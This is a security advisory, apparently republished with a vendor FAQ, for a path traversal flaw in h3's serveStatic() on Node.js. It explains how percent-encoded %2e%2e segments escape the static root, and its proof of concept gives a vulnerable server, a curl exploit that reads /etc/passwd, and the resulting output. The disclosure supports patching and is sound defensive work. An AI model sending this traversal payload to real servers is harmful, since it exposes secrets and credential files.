GHSA-WR4H-V87W-P3R7

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance, it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

Pwned by 0xkakashi

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.

Exploitable files include but are not limited to:

• /etc/passwd, /etc/shadow (if readable)
• Application source code and configuration files
• .env files containing secrets, API keys, database credentials
• Private keys and certificates

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-WR4H-V87W-P3R7 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.1-rc.15, 1.15.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-WR4H-V87W-P3R7? GHSA-WR4H-V87W-P3R7 is a medium-severity path traversal vulnerability in h3 (npm), affecting versions >= 2.0.0, <= 2.0.1-rc.14. It is fixed in 2.0.1-rc.15, 1.15.6. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is GHSA-WR4H-V87W-P3R7? GHSA-WR4H-V87W-P3R7 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of h3 are affected by GHSA-WR4H-V87W-P3R7? h3 (npm) versions >= 2.0.0, <= 2.0.1-rc.14 is affected.
4. Is there a fix for GHSA-WR4H-V87W-P3R7? Yes. GHSA-WR4H-V87W-P3R7 is fixed in 2.0.1-rc.15, 1.15.6. Upgrade to this version or later.
5. Is GHSA-WR4H-V87W-P3R7 exploitable, and should I be worried? Whether GHSA-WR4H-V87W-P3R7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-WR4H-V87W-P3R7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-WR4H-V87W-P3R7?
   • Upgrade h3 to 2.0.1-rc.15 or later
   • Upgrade h3 to 1.15.6 or later